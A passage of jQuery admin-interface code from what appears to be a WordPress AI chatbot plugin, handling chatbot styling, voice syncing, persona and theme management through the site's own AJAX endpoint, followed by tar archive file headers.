&& text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function submittextcolorChanged_b() { var selected = jQuery('#submit_text_color_b').val(); var text_input = jQuery('.aichatsubmitbut'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/submit_text_color="([^"]*?)"/g, 'submit_text_color="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } var text_input = jQuery('#aiimagechatsubmitbut'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function aiomaticLoading2(btn){ btn.attr('disabled','disabled'); if(!btn.find('spinner').length){ btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn) { btn.removeAttr('disabled'); btn.find('.spinner').remove(); } function aiomatic_sync_voices_elevenlabs() { var data = { action: 'aiomatic_get_elevenlabs_voices', nonce: aiomatic_object.nonce }; var elevenlabs_sync = jQuery('#elevenlabs_sync'); jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading2(elevenlabs_sync); }, success: function (res){ if(res.status === 'success'){ alert('ElevenLabs Voices synced successfully.'); window.location.reload(); } else{ alert(res.msg); aiomaticRmLoading(elevenlabs_sync); } }, error: function (r, s, error){ alert('Error in ElevenLabs sync: ' + error); aiomaticRmLoading(elevenlabs_sync); } }); } function aiomatic_sync_voices_google() { var data = { action: 'aiomatic_get_google_voices', nonce: aiomatic_object.nonce }; var google_sync = jQuery('#google_sync'); jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading2(google_sync); }, success: function (res){ if(res.status === 'success'){ alert('Google Text-to-Speech Voices synced successfully.'); window.location.reload(); } else{ alert(res.msg); aiomaticRmLoading(google_sync); } }, error: function (r, s, error){ alert('Error in Google Text-to-Speech sync: ' + error); aiomaticRmLoading(google_sync); } }); } function aiomatic_select_persona(personaid) { var data = { action: 'aiomatic_get_persona', nonce: aiomatic_object.nonce, ids: personaid }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res) { if(res.status === 'success') { const jsobj = JSON.parse(res.msg); jQuery("textarea#ai_name").val(jsobj.post_title); jQuery("textarea#ai_role").val(jsobj.post_excerpt); jQuery("textarea#preppend_text").val(jsobj.post_content); jQuery("#aiomatic_image_id").val(jsobj.avatarid); jQuery("textarea#first_message_ai").val(jsobj.message); if(jsobj.avatar != '') { jQuery("#aiomatic-preview-image").attr("src", jsobj.avatar); } else { jQuery("#aiomatic-preview-image").removeAttr("src"); } alert('Persona details set in settings, please save settings to apply them!'); window.scrollTo(0, 0); } else { alert('Error ' + res.msg); } }, error: function (r, s, error) { alert('Error in processing persona removal: ' + error); } }); } function aiomatic_persistent_changed() { var selected = jQuery('#persistent').val(); if(selected == 'on' || selected == 'logs' || selected == 'vector') { jQuery(".hidePersistent").show(); } else { jQuery(".hidePersistent").hide(); } } function aiomatic_global_changed() { var selected = jQuery('#enable_front_end').val(); if(selected == 'off') { jQuery(".hideInject").hide(); } else { jQuery(".hideInject").show(); } } function instantResponseChanged() { var selected = jQuery('#instant_response').val(); if(selected == 'stream') { jQuery(".hideStreamer").show(); } else { jQuery(".hideStreamer").hide(); } } function aiomatic_text_changed() { var selected = jQuery('#chatbot_text_speech').val(); if(selected == 'google') { jQuery(".hideeleven").hide(); jQuery(".hideopen").hide(); jQuery(".hidedid").hide(); jQuery(".hidedidstream").hide(); jQuery(".hidegoogle").show(); jQuery(".hidefree").hide(); } if(selected == 'elevenlabs') { jQuery(".hideeleven").show(); jQuery(".hideopen").hide(); jQuery(".hidedid").hide(); jQuery(".hidedidstream").hide(); jQuery(".hidegoogle").hide(); jQuery(".hidefree").hide(); } if(selected == 'did' || selected == 'didstream') { if(selected == 'didstream') { jQuery(".hidedidstream").show(); } else { jQuery(".hidedidstream").hide(); } jQuery(".hidedid").show(); jQuery(".hideopen").hide(); jQuery(".hideeleven").hide(); jQuery(".hidegoogle").hide(); jQuery(".hidefree").hide(); } if(selected == 'openai') { jQuery(".hidedid").hide(); jQuery(".hidedidstream").hide(); jQuery(".hideopen").show(); jQuery(".hideeleven").hide(); jQuery(".hidegoogle").hide(); jQuery(".hidefree").hide(); } if(selected == 'free') { jQuery(".hideeleven").hide(); jQuery(".hideopen").hide(); jQuery(".hidedid").hide(); jQuery(".hidedidstream").hide(); jQuery(".hidegoogle").hide(); jQuery(".hidefree").show(); } if(selected == 'off') { jQuery(".hideeleven").hide(); jQuery(".hideopen").hide(); jQuery(".hidedid").hide(); jQuery(".hidedidstream").hide(); jQuery(".hidegoogle").hide(); jQuery(".hidefree").hide(); } } function personaChanged() { var personaid = jQuery('#persona_b').find('option:selected').attr('value'); var data = { action: 'aiomatic_get_persona', nonce: aiomatic_object.nonce, ids: personaid }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res) { if(res.status === 'success') { const jsobj = JSON.parse(res.msg); jQuery("textarea#ai_name_b").val(jsobj.post_title); jQuery("textarea#ai_role_b").val(jsobj.post_excerpt); jQuery("textarea#context_b").val(jsobj.post_content); jQuery("#aiomatic_image_id_b").val(jsobj.avatarid); jQuery("#ai_message_b").val(jsobj.message); if(jsobj.avatar != '') { jQuery("#aiomatic-preview-image-b").attr("src", jsobj.avatar); } else { jQuery("#aiomatic-preview-image-b").removeAttr("src"); } anythingChanged(); } else { alert('Error ' + res.msg); } }, error: function (r, s, error) { alert('Error in processing persona removal: ' + error); } }); } function extensionsChanged() { if(jQuery("#god_mode_enable_dalle").is(':checked')) { jQuery('.hide_dalle').show(); } else { jQuery('.hide_dalle').hide(); } if(jQuery("#god_mode_enable_stable").is(':checked')) { jQuery('.hide_stable').show(); } else { jQuery('.hide_stable').hide(); } if(jQuery("#god_mode_enable_stable_video").is(':checked')) { jQuery('.hide_stable_video').show(); } else { jQuery('.hide_stable_video').hide(); } if(jQuery("#god_mode_enable_amazon_details").is(':checked') || jQuery("#god_mode_enable_amazon").is(':checked')) { jQuery('.hide_amazon').show(); } else { jQuery('.hide_amazon').hide(); } if(jQuery("#god_mode_enable_scraper").is(':checked')) { jQuery('.hide_scraper').show(); } else { jQuery('.hide_scraper').hide(); } if(jQuery("#god_mode_enable_rss").is(':checked')) { jQuery('.hide_rss').show(); } else { jQuery('.hide_rss').hide(); } if(jQuery("#god_mode_enable_google").is(':checked')) { jQuery('.hide_google').show(); } else { jQuery('.hide_google').hide(); } if(jQuery("#god_mode_enable_youtube_captions").is(':checked')) { jQuery('.hide_caption').show(); } else { jQuery('.hide_caption').hide(); } if(jQuery("#god_mode_enable_wp").is(':checked')) { jQuery('.hide_god').show(); } else { jQuery('.hide_god').hide(); } if(jQuery("#god_mode_enable_facebook_post").is(':checked')) { jQuery('.hide_facebook').show(); } else { jQuery('.hide_facebook').hide(); } if(jQuery("#god_mode_enable_pinterest_post").is(':checked')) { jQuery('.hide_pinterest').show(); } else { jQuery('.hide_pinterest').hide(); } if(jQuery("#god_mode_enable_google_post").is(':checked')) { jQuery('.hide_gmb').show(); } else { jQuery('.hide_gmb').hide(); } if(jQuery("#god_mode_enable_reddit_post").is(':checked')) { jQuery('.hide_reddit').show(); } else { jQuery('.hide_reddit').hide(); } if(jQuery("#god_mode_enable_linkedin_post").is(':checked')) { jQuery('.hide_linkedin').show(); } else { jQuery('.hide_linkedin').hide(); } } function aiomaticIsTinyMCEAvailable(editorId) { return typeof tinymce !== 'undefined' && tinymce.get(editorId); } function aiomaticGetEditorContent(editorId) { var content = ''; if (aiomaticIsTinyMCEAvailable(editorId)) { content = tinymce.get(editorId).getContent(); if(content == '') { var quicktagsInput = jQuery("#" + editorId); if (quicktagsInput.length) { content = quicktagsInput.val(); } } } else { var quicktagsInput = jQuery('#' + editorId); if (quicktagsInput.length) { content = quicktagsInput.val(); } } return content; } function anythingChanged() { sendSoundChanged_b(); receiveSoundChanged_b(); responseDelayChanged_b(); customFooterChanged_b(); customCSSChanged_b(); customHeaderChanged_b(); persistentChanged_b(); fileUploadChanged_b(); assistantID_b(); selectPromptChanged_b(); headerChanged_b(); bubbleChanged_b(); bubbleAlignChanged_b(); bubbleUserAlignChanged_b(); speechChanged_b(); godModeChanged_b(); uploadPdfChanged_b(); txtChanged_b(); muteChanged_b(); clearChanged_b(); imageChanged_b(); imageUserChanged_b(); modeChanged_b(); internetAccessChanged_b(); instantChanged_b(); showUserAvatarChanged_b(); showAiAvatarChanged_b() messageChanged_b(); internetChanged_b(); embeddingsChanged_b(); aiChanged_b(); voiceOverwriteChanged_b(); imageAvatarOverwriteChanged_b(); aiRole_b(); visionChanged_b(); userChanged_b(); contextChanged_b(); frequencyChanged_b(); presenceChanged_b(); toppChanged_b(); temperatureChanged_b(); modelChanged_b(); placeholderChanged_b(); bordercolorChanged_b(); inputtextcolorChanged_b(); personanamecolorChanged_b(); personarolecolorChanged_b(); inputplaceholdercolorChanged_b(); aibackgroundcolorChanged_b(); userbackgroundcolorChanged_b(); userfontcolorChanged_b(); backgroundChanged_b(); backgroundChanged2_b(); aifontcolorChanged_b(); minheightChanged_b(); heightChanged_b(); widthChanged_b(); fontSizeChanged_b(); templateChanged_b(); editableChanged_b(); frontChanged_b(); locationChanged_b(); submitChanged_b(); complianceChanged_b(); submitcolorChanged_b(); voicecolorChanged_b(); voicecolorActivatedChanged_b(); submittextcolorChanged_b(); } document.addEventListener("DOMContentLoaded", function(event) { document.getElementById('myForm').addEventListener('submit', function(event) { var elements = document.querySelectorAll('textarea[name^="aiomatic_Chatbot_Settings[chatbots]"], input[name^="aiomatic_Chatbot_Settings[chatbots]"], select[name^="aiomatic_Chatbot_Settings[chatbots]"]'); elements.forEach(function(element, index) { if (element.tagName.toLowerCase() === 'select' && element.multiple) { var selectedOptions = Array.from(element.options).filter(option => option.selected); if (selectedOptions.length === 0) { var hiddenInput = document.createElement('input'); hiddenInput.type = 'hidden'; hiddenInput.name = element.name; hiddenInput.value = ""; element.parentNode.appendChild(hiddenInput); } } else if (element.value.trim() === "") { var hiddenInput = document.createElement('input'); hiddenInput.type = 'hidden'; hiddenInput.name = element.name; hiddenInput.value = ""; element.parentNode.appendChild(hiddenInput); } }); }); var scrollpos = localStorage.getItem('scrollpos'); if (scrollpos) { window.scrollTo(0, scrollpos); localStorage.removeItem("scrollpos"); } }); function anyNewChatChanged() { var savedata = []; jQuery('.chatbotShortcodeImportant').each((index, element) => { var dataid = jQuery(element).attr('data-id'); var new_shortcode = jQuery('#' + dataid + 'shortcode').val(); if(new_shortcode != '') { var new_rule_description = jQuery('#' + dataid + 'rule_description').val(); var new_not_show_urls = jQuery('#' + dataid + 'not_show_urls').val(); var new_only_show_urls = jQuery('#' + dataid + 'only_show_urls').val(); var new_min_time = jQuery('#' + dataid + 'min_time').val(); var new_max_time = jQuery('#' + dataid + 'max_time').val(); var new_always_show = jQuery('#' + dataid + 'always_show').val() || []; var new_never_show = jQuery('#' + dataid + 'never_show').val() || []; var new_no_show_content_wp = jQuery('#' + dataid + 'no_show_content_wp').val() || []; var new_show_content_wp = jQuery('#' + dataid + 'show_content_wp').val() || []; var new_no_show_locales = jQuery('#' + dataid + 'no_show_locales').val() || []; var new_show_locales = jQuery('#' + dataid + 'show_locales').val() || []; var new_no_show_roles = jQuery('#' + dataid + 'no_show_roles').val() || []; var new_show_roles = jQuery('#' + dataid + 'show_roles').val() || []; var new_no_show_devices = jQuery('#' + dataid + 'no_show_devices').val() || []; var new_show_devices = jQuery('#' + dataid + 'show_devices').val() || []; var new_no_show_oses = jQuery('#' + dataid + 'no_show_oses').val() || []; var new_show_oses = jQuery('#' + dataid + 'show_oses').val() || []; var new_no_show_browsers = jQuery('#' + dataid + 'no_show_browsers').val() || []; var new_show_browsers = jQuery('#' + dataid + 'show_browsers').val() || []; var new_no_show_ips = jQuery('#' + dataid + 'no_show_ips').val(); var new_show_ips = jQuery('#' + dataid + 'show_ips').val(); var data = { shortcode: new_shortcode, rule_description: new_rule_description, not_show_urls: new_not_show_urls, only_show_urls: new_only_show_urls, min_time: new_min_time, max_time: new_max_time, always_show: new_always_show, never_show: new_never_show, no_show_content_wp: new_no_show_content_wp, show_content_wp: new_show_content_wp, no_show_locales: new_no_show_locales, show_locales: new_show_locales, no_show_roles: new_no_show_roles, show_roles: new_show_roles, no_show_devices: new_no_show_devices, show_devices: new_show_devices, no_show_oses: new_no_show_oses, show_oses: new_show_oses, no_show_browsers: new_no_show_browsers, show_browsers: new_show_browsers, no_show_ips: new_no_show_ips, show_ips: new_show_ips }; savedata.push({ index: dataid, data: data }); } }); jQuery('#aiomatic_chat_json').val(JSON.stringify(savedata)); } jQuery(document).ready(function() { jQuery('span.wpaiomatic-delete').on('click', function(){ var confirm_delete = confirm('Delete This Chatbot Rule?'); if (confirm_delete) { var dataid = jQuery(this).attr('data-id'); if(dataid !== undefined && dataid !== null) { jQuery('.aiuniq-' + dataid).remove(); } else { jQuery(this).parent().parent().remove(); } anyNewChatChanged(); localStorage.setItem('scrollpos', window.scrollY); jQuery('#myForm').submit(); } }); jQuery('#aiomatic_upload_send_sound_button').on('click', function(e) { e.preventDefault(); var file_frame = wp.media.frames.file_frame = wp.media({ title: 'Select or Upload a Sound Effect', library: { type: ['audio/mpeg', 'audio/wav', 'audio/ogg', 'audio/x-wav', 'audio/x-mpegurl', 'audio/mp4', 'audio/x-aiff', 'audio/aiff', 'audio/aac', 'audio/flac'] }, button: { text: 'Use This "Send Message" Sound Effect' }, multiple: false }); file_frame.on('select', function() { var attachment = file_frame.state().get('selection').first().toJSON(); jQuery('#send_message_sound').val(attachment.url); }); file_frame.open(); }); jQuery('#aiomatic_upload_receive_sound_button').on('click', function(e) { e.preventDefault(); var file_frame = wp.media.frames.file_frame = wp.media({ title: 'Select or Upload a Sound Effect', library: { type: ['audio/mpeg', 'audio/wav', 'audio/ogg', 'audio/x-wav', 'audio/x-mpegurl', 'audio/mp4', 'audio/x-aiff', 'audio/aiff', 'audio/aac', 'audio/flac'] }, button: { text: 'Use This "Receive Message" Sound Effect' }, multiple: false }); file_frame.on('select', function() { var attachment = file_frame.state().get('selection').first().toJSON(); jQuery('#receive_message_sound').val(attachment.url); }); file_frame.open(); }); jQuery('#aiomatic_upload_send_sound_button_b').on('click', function(e) { e.preventDefault(); var file_frame = wp.media.frames.file_frame = wp.media({ title: 'Select or Upload a Sound Effect', library: { type: ['audio/mpeg', 'audio/wav', 'audio/ogg', 'audio/x-wav', 'audio/x-mpegurl', 'audio/mp4', 'audio/x-aiff', 'audio/aiff', 'audio/aac', 'audio/flac'] }, button: { text: 'Use This "Send Message" Sound Effect' }, multiple: false }); file_frame.on('select', function() { var attachment = file_frame.state().get('selection').first().toJSON(); jQuery('#send_message_sound_b').val(attachment.url); }); file_frame.open(); }); jQuery('#aiomatic_upload_receive_sound_button_b').on('click', function(e) { e.preventDefault(); var file_frame = wp.media.frames.file_frame = wp.media({ title: 'Select or Upload a Sound Effect', library: { type: ['audio/mpeg', 'audio/wav', 'audio/ogg', 'audio/x-wav', 'audio/x-mpegurl', 'audio/mp4', 'audio/x-aiff', 'audio/aiff', 'audio/aac', 'audio/flac'] }, button: { text: 'Use This "Receive Message" Sound Effect' }, multiple: false }); file_frame.on('select', function() { var attachment = file_frame.state().get('selection').first().toJSON(); jQuery('#receive_message_sound_b').val(attachment.url); }); file_frame.open(); }); if (aiomaticIsTinyMCEAvailable('custom_header_b')) { var editor = tinymce.get('custom_header_b'); editor.on('change', function(e) { anythingChanged(); }); var quicktagsInput = jQuery('#custom_header_b'); quicktagsInput.on('input', function() { if (quicktagsInput.val() === '') { jQuery('#custom_header_b_placeholder').show(); } else { jQuery('#custom_header_b_placeholder').hide(); } anythingChanged(); }); } if (aiomaticIsTinyMCEAvailable('custom_footer_b')) { var editor = tinymce.get('custom_footer_b'); editor.on('change', function(e) { anythingChanged(); }); var quicktagsInput = jQuery('#custom_footer_b'); quicktagsInput.on('input', function() { if (quicktagsInput.val() === '') { jQuery('#custom_footer_b_placeholder').show(); } else { jQuery('#custom_footer_b_placeholder').hide(); } anythingChanged(); }); } if (aiomaticIsTinyMCEAvailable('custom_css_b')) { var editor = tinymce.get('custom_css_b'); editor.on('change', function(e) { anythingChanged(); }); var quicktagsInput = jQuery('#custom_css_b'); quicktagsInput.on('input', function() { if (quicktagsInput.val() === '') { jQuery('#custom_css_b_placeholder').show(); } else { jQuery('#custom_css_b_placeholder').hide(); } anythingChanged(); }); } extensionsChanged(); var copyButton = jQuery('#aiomaticCopyShortcodeText'); copyButton.on('click', function (e) { e.preventDefault(); var textToCopy = document.getElementById("customized_chatbot").innerHTML; if(navigator.clipboard !== undefined) { navigator.clipboard.writeText(textToCopy) .then(() => { alert('Text copied to clipboard.'); }) .catch(err => { console.error('Failed to copy text: ', err); }); } else { console.error('Failed to copy text'); } }); aiomatic_text_changed(); aiomatic_persistent_changed(); aiomatic_global_changed(); instantResponseChanged(); aiomatic_check_vision(); assistantChanged(); voiceChanged(); anythingChanged(); jQuery('#aiomatic_sync_personas').on('click', function () { var btn = jQuery(this); aiomaticLoading2(btn); var currentUrl = window.location.href; var updatedUrl = currentUrl.replace(/(\?|&)wpage=[^&]+/, ''); window.location.href = updatedUrl; }); jQuery('#aiomatic_delete_selected_personas').on('click', function (e){ e.preventDefault(); if(confirm('Are you sure you want to delete selected personas?')) { var btn = jQuery(this); aiomaticLoading2(btn); var ids = []; jQuery('.aiomatic-select-persona:checked').each(function (idx, item) { ids.push(jQuery(item).val()) }); if (ids.length) { var data = { action: 'aiomatic_delete_selected_personas', nonce: aiomatic_object.nonce, ids: ids }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ jQuery('.aiomatic-personas-success').show(); jQuery('.aiomatic-personas-content').val(''); setTimeout(function (){ jQuery('.aiomatic-personas-success').hide(); },2000); location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing persona removal: ' + error); } }); } else { alert('No personas selected'); aiomaticRmLoading(btn); } } }); jQuery(".aiomatic_delete_persona").on('click', function(e) { e.preventDefault(); if(confirm('Are you sure you want to delete this persona?')) { var personaid = jQuery(this).attr("delete-id"); if(personaid == '') { alert('Incorrect delete id submitted'); } else { e.preventDefault(); var data = { action: 'aiomatic_delete_persona', personaid: personaid, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticDisable(jQuery('#aiomatic_delete_persona_' + personaid)); }, success: function (res){ if(res.status === 'success'){ location.reload(); } else{ alert(res.msg); location.reload(); } }, error: function (r, s, error){ alert('Error in processing persona deletion: ' + error); location.reload(); } }); } } }); jQuery('#aiomatic_deleteall_personas').on('click', function (e){ e.preventDefault(); if(confirm('Are you sure you want to delete ALL personas?')) { var btn = jQuery(this); aiomaticLoading2(btn); var data = { action: 'aiomatic_deleteall_personas', nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ jQuery('.aiomatic-personas-success').show(); jQuery('.aiomatic-personas-content').val(''); setTimeout(function (){ jQuery('.aiomatic-personas-success').hide(); },2000); location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing persona removal: ' + error); } }); } }); jQuery('#aiomatic_save_theme').on('click', function (e){ e.preventDefault(); let person = prompt("Please enter a theme name:", "New Theme"); if (person == null || person == "") { } else { var btn = jQuery(this); aiomaticLoading2(btn); var general_background = jQuery('#general_background').val(); var background = jQuery('#background').val(); var input_border_color = jQuery('#input_border_color').val(); var input_text_color = jQuery('#input_text_color').val(); var persona_name_color = jQuery('#persona_name_color').val(); var persona_role_color = jQuery('#persona_role_color').val(); var input_placeholder_color = jQuery('#input_placeholder_color').val(); var user_background_color = jQuery('#user_background_color').val(); var ai_background_color = jQuery('#ai_background_color').val(); var ai_font_color = jQuery('#ai_font_color').val(); var user_font_color = jQuery('#user_font_color').val(); var submit_color = jQuery('#submit_color').val(); var voice_color = jQuery('#voice_color').val(); var voice_color_activated = jQuery('#voice_color_activated').val(); var submit_text_color = jQuery('#submit_text_color').val(); var data = { action: 'aiomatic_save_theme', post_title: person, general_background: general_background, background: background, input_border_color: input_border_color, input_text_color: input_text_color, persona_name_color: persona_name_color, persona_role_color: persona_role_color, input_placeholder_color: input_placeholder_color, user_background_color: user_background_color, ai_background_color: ai_background_color, ai_font_color: ai_font_color, user_font_color: user_font_color, nonce: aiomatic_object.nonce, submit_text_color: submit_text_color, submit_color: submit_color, voice_color: voice_color, voice_color_activated: voice_color_activated }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success') { alert('Theme saved successfully, refresh the page to see it!'); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing theme saving: ' + error); } }); } }); jQuery('#aiomatic_delete_theme').on('click', function (e){ e.preventDefault(); var themeid = jQuery('#chat_theme_delete').val(); if(themeid == '') { alert('You need to select a theme to delete!'); } else { if(confirm('Are you sure you want to delete the selected theme?')) { var btn = jQuery(this); aiomaticLoading2(btn); var data = { action: 'aiomatic_delete_theme', themeid: themeid, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ jQuery("#chat_theme_delete option[value=" + themeid + "]").remove(); alert('Theme deleted successfully.'); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing persona removal: ' + error); } }); } } }); jQuery('#aiomatic_add_remote_chatbot').on('click', function (e){ e.preventDefault(); var data = { action: 'aiomatic_add_remote_chatbot', nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res) { if(res.status === 'success') { location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ alert('Error in processing remote chatbot saving: ' + error); } }); }); jQuery('.aiomatic_delete_remote_chatbot').on('click', function (e){ e.preventDefault(); var dataid = jQuery(this).attr('data-id'); var data = { action: 'aiomatic_delete_remote_chatbot', dataid: dataid, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res) { if(res.status === 'success') { location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ alert('Error in processing remote chatbot deletion: ' + error); } }); }); jQuery(".aiomatic_duplicate_persona").on('click', function(e) { e.preventDefault(); if(confirm('Are you sure you want to duplicate this persona?')) { var personaid = jQuery(this).attr("data-id"); if(personaid == '') { alert('Incorrect data id submitted'); } else { e.preventDefault(); var data = { action: 'aiomatic_duplicate_persona', personaid: personaid, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticDisable(jQuery('#aiomatic_duplicate_persona_' + personaid)); }, success: function (res){ if(res.status === 'success'){ location.reload(); } else{ alert(res.msg); location.reload(); } }, error: function (r, s, error){ alert('Error in processing persona duplication: ' + error); location.reload(); } }); } } }); jQuery('#aiomatic_personas_form').on('submit', function (e) { e.preventDefault(); var form = jQuery('#aiomatic_personas_form'); var btn = form.find('#aiomatic-personas-save-button'); var title = jQuery('#aiomatic-persona-title').val(); var prompt = jQuery('#aiomatic-persona-prompt').val(); if(title === '' || prompt === ''){ alert('Please insert all required values!'); } else{ var data = form.serialize(); jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading2(btn); }, success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ jQuery('.aiomatic-personas-success').html("Persona saved successfully!"); jQuery('.aiomatic-personas-success').show(); location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing persona saving: ' + error); } }); } return false; }); var aiomatic_persona_button = jQuery('#aiomatic_persona_button'); aiomatic_persona_button.on('click', function (e){ e.preventDefault(); if(confirm('Are you sure you want to load personas from file?')) { var aiomatic_persona_upload = jQuery('#aiomatic_persona_upload'); if(jQuery("#aiomatic_overwrite").is(':checked')) { var overwrite = '1'; } else { var overwrite = '0'; } if(aiomatic_persona_upload[0].files.length === 0){ alert('Please select a file!'); } else{ var aiomatic_progress = jQuery('.aiomatic_progress'); var aiomatic_error_message = jQuery('.aiomatic-error-msg'); var aiomatic_upload_success = jQuery('.aiomatic_upload_success'); var aiomatic_max_file_size = aiomatic_object.maxfilesize; var aiomatic_max_size_in_mb = aiomatic_object.maxfilesize / (1024 ** 2); var aiomatic_persona_file = aiomatic_persona_upload[0].files[0]; var aiomatic_persona_file_extension = aiomatic_persona_file.name.substr( (aiomatic_persona_file.name.lastIndexOf('.') +1) ); if(aiomatic_persona_file_extension !== 'json'){ aiomatic_persona_upload.val(''); alert('This feature only accepts JSON file type!'); } else if(aiomatic_persona_file.size > aiomatic_max_file_size){ aiomatic_persona_upload.val(''); alert('Dataset allowed maximum size (MB): '+ aiomatic_max_size_in_mb) } else{ var formData = new FormData(); formData.append('action', 'aiomatic_persona_upload'); formData.append('nonce', aiomatic_object.nonce); formData.append('overwrite', overwrite); formData.append('file', aiomatic_persona_file); jQuery.ajax({ url: aiomatic_object.ajax_url, type: 'POST', dataType: 'JSON', data: formData, beforeSend: function (){ aiomatic_progress.find('span').css('width','0'); aiomatic_progress.show(); aiomaticLoading2(aiomatic_persona_button); aiomatic_error_message.hide(); aiomatic_upload_success.hide(); }, xhr: function() { var xhr = jQuery.ajaxSettings.xhr(); xhr.upload.addEventListener("progress", function(evt) { if (evt.lengthComputable) { var percentComplete = evt.loaded / evt.total; aiomatic_progress.find('span').css('width',(Math.round(percentComplete * 100))+'%'); } }, false); return xhr; }, success: function(res) { if(res.status === 'success'){ aiomaticRmLoading(aiomatic_persona_button); aiomatic_progress.hide(); aiomatic_persona_upload.val(''); aiomatic_upload_success.show(); location.reload(); } else{ aiomaticRmLoading(aiomatic_persona_button); aiomatic_progress.find('small').html('Error'); aiomatic_progress.addClass('aiomatic_error'); aiomatic_error_message.html(res.msg); aiomatic_error_message.show(); } }, cache: false, contentType: false, processData: false, error: function (r, s, error){ aiomatic_persona_upload.val(''); aiomaticRmLoading(aiomatic_persona_button); aiomatic_progress.addClass('aiomatic_error'); aiomatic_progress.find('small').html('Error'); alert('Error in processing personas uploading: ' + error); aiomatic_error_message.show(); } }); } } } }); jQuery("#checkedAll").on('change', function() { if (this.checked) { jQuery(".aiomatic-select-persona").each(function() { this.checked=true; }); } else { jQuery(".aiomatic-select-persona").each(function() { this.checked=false; }); } }); var aiomatic_persona_buttonx = jQuery('#aiomatic_persona_default_button'); aiomatic_persona_buttonx.on('click', function (e){ if(confirm('Are you sure you want to load the default personas which come bundled with the plugin?')) { e.preventDefault(); var data = { action: 'aiomatic_default_persona', nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading2(jQuery('#aiomatic_persona_default_button')); }, success: function (res){ if(res.status === 'success'){ alert('Default personas loaded successfully!'); location.reload(); } else{ alert(res.msg); location.reload(); } }, error: function (r, s, error){ alert('Error in processing persona loading: ' + error); location.reload(); } }); } }); var codemodalfzr = document.getElementById('mymodalfzr'); var btn = document.getElementById("aiomatic_manage_personas"); var span = document.getElementById("aiomatic_close"); if(btn != null) { btn.onclick = function(e) { e.preventDefault(); codemodalfzr.style.display = "block"; } } if(span != null) { span.onclick = function() { codemodalfzr.style.display = "none"; } } var codemodalfzr_backup = document.getElementById('mymodalfzr_backup'); var btn_backup = document.getElementById("aiomatic_backup_personas"); var span_backup = document.getElementById("aiomatic_close_backup"); if(btn_backup != null) { btn_backup.onclick = function(e) { e.preventDefault(); codemodalfzr_backup.style.display = "block"; } } if(span_backup != null) { span_backup.onclick = function() { codemodalfzr_backup.style.display = "none"; } } window.onclick = function(event) { if (event.target == codemodalfzr_backup) { codemodalfzr_backup.style.display = "none"; } if (event.target == codemodalfzr) { codemodalfzr.style.display = "none"; } } });��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/admin-footer.js�����������������������������������������������������������������������������0000644�����������������00000000020�14757771437�0011173 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict";����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/media-extender.js���������������������������������������������������������������������������0000644�����������������00000042221�14757771437�0011513 